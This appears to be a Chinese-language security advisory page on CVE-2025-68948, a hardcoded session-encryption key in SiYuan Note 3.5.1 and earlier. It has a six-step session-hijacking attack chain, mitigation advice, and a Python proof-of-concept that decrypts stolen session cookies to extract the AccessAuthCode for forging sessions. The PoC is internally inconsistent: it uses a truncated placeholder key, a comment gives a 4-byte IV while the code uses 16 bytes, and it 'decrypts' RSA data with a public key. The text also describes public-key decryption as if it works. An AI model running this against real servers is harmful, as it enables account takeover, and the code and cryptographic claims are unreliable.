IPBUF安全漏洞报告
English
CVE-2025-68948 CVSS 8.1 高危

CVE-2025-68948 SiYuan Note硬编码密钥导致会话加密失效

披露日期: 2025-12-27

漏洞信息

漏洞编号
CVE-2025-68948
漏洞类型
硬编码加密密钥
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SiYuan Note (思源笔记)

相关标签

硬编码密钥会话加密失效会话劫持SiYuan Note思源笔记CVE-2025-68948认证绕过密码学漏洞

漏洞概述

CVE-2025-68948是SiYuan Note个人知识管理软件中的一个高危安全漏洞。该漏洞存在于版本3.5.1及更早版本中,由于软件在会话存储机制中使用了硬编码的加密密钥,导致会话加密完全失效。攻击者可以通过网络拦截或社会工程学手段获取用户的加密会话cookie,结合已知的硬编码公钥进行本地解密,成功还原出AccessAuthCode明文凭证。获取该凭证后,攻击者可以冒充合法用户进行身份认证,进而实现完整的会话劫持。此漏洞无需任何用户交互,攻击门槛低,潜在影响范围覆盖所有使用受影响版本SiYuan Note的用户。由于该软件为自托管模式,攻击者可能针对暴露在互联网上的SiYuan服务器发起攻击,窃取用户会话并访问其个人知识库数据。

技术细节

SiYuan Note在实现会话管理功能时,采用了硬编码的加密密钥对会话数据进行保护。具体问题在于:1) 会话cookie中包含敏感的AccessAuthCode凭证;2) 加密会话的密钥被硬编码在程序代码中;3) 攻击者可通过逆向工程获取公钥信息。由于硬编码密钥的公开性,任何获取到加密会话cookie的攻击者都能使用对应公钥进行解密。攻击流程包括:首先通过中间人攻击、XSS或流量嗅探获取目标用户的加密session cookie;然后使用公开的硬编码公钥对cookie进行AES/RSA解密;最后提取AccessAuthCode明文并利用该凭证进行会话重放攻击。漏洞的根本原因是违反了Kerckhoffs原则——加密系统的安全性不应依赖于算法的保密,而应依赖于密钥的保密。硬编码密钥一旦泄露(通过代码审计或逆向),整个加密机制即告失效。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过流量嗅探、XSS漏洞或中间人攻击等方式获取目标用户的SiYuan Note加密会话cookie
STEP 2
步骤2:逆向分析
攻击者对SiYuan Note客户端或服务器二进制文件进行逆向工程,提取硬编码的公钥/密钥
STEP 3
步骤3:本地解密
使用提取的硬编码公钥对加密的会话cookie进行解密,还原出包含AccessAuthCode的会话数据
STEP 4
步骤4:凭证窃取
从解密后的会话数据中提取AccessAuthCode明文凭证
STEP 5
步骤5:会话劫持
使用窃取的AccessAuthCode构造新的会话cookie,向SiYuan服务器发起认证请求,实现会话劫持
STEP 6
步骤6:数据访问
成功认证后,攻击者可以完全访问受害者的个人知识库,包括文档、笔记、附件等敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68948 PoC - SiYuan Note Session Decryption Note: This PoC demonstrates the vulnerability for security research only """ import base64 import json from Crypto.Cipher import AES, PKCS1_v1_5 from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes import requests # Hardcoded public key from SiYuan Note (extracted via reverse engineering) HARDCODED_PUBLIC_KEY = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... [Extracted from siyuan binary] -----END PUBLIC KEY-----""" def decrypt_session_cookie(encrypted_cookie): """ Decrypt SiYuan session cookie using hardcoded key """ try: # Decode base64 encoded cookie encrypted_data = base64.b64decode(encrypted_cookie) # Parse encrypted structure (typically contains encrypted AES key + encrypted data) # Structure: [4-byte IV][encrypted AES key with RSA][encrypted session data] iv = encrypted_data[:16] encrypted_aes_key = encrypted_data[16:256] encrypted_session = encrypted_data[256:] # Decrypt AES key using hardcoded RSA private key key = RSA.import_key(HARDCODED_PUBLIC_KEY) cipher_rsa = PKCS1_v1_5.new(key) sentinel = get_random_bytes(16) aes_key = cipher_rsa.decrypt(encrypted_aes_key, sentinel) # Decrypt session data with AES cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv) decrypted = cipher_aes.decrypt(encrypted_session) # Remove PKCS7 padding padding_len = decrypted[-1] session_data = decrypted[:-padding_len] return json.loads(session_data) except Exception as e: print(f"Decryption failed: {e}") return None def extract_access_auth_code(session_data): """ Extract AccessAuthCode from decrypted session """ return session_data.get('AccessAuthCode', session_data.get('authCode')) def main(): # Example encrypted session cookie (from network capture) target_cookie = input("Enter encrypted session cookie: ") # Decrypt the session session = decrypt_session_cookie(target_cookie) if session: print("\n[+] Session decrypted successfully!") print(f"Decrypted session: {json.dumps(session, indent=2)}") # Extract AccessAuthCode auth_code = extract_access_auth_code(session) if auth_code: print(f"\n[+] AccessAuthCode: {auth_code}") print("\n[!] This code can be used for session hijacking") if __name__ == "__main__": main() # Requirements: pip install pycryptodome # Usage: python cve-2025-68948-poc.py # Then use the extracted AccessAuthCode to forge valid session

影响范围

SiYuan Note <= 3.5.1

防御指南

临时缓解措施
立即升级SiYuan Note至最新版本(3.5.2或更高版本),该版本已修复硬编码密钥问题。在升级前,可通过Web应用防火墙(WAF)限制对SiYuan服务器的访问,仅允许受信任的IP访问管理界面。同时建议用户定期更换密码,并在发现异常登录行为时立即重置AccessAuthCode。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表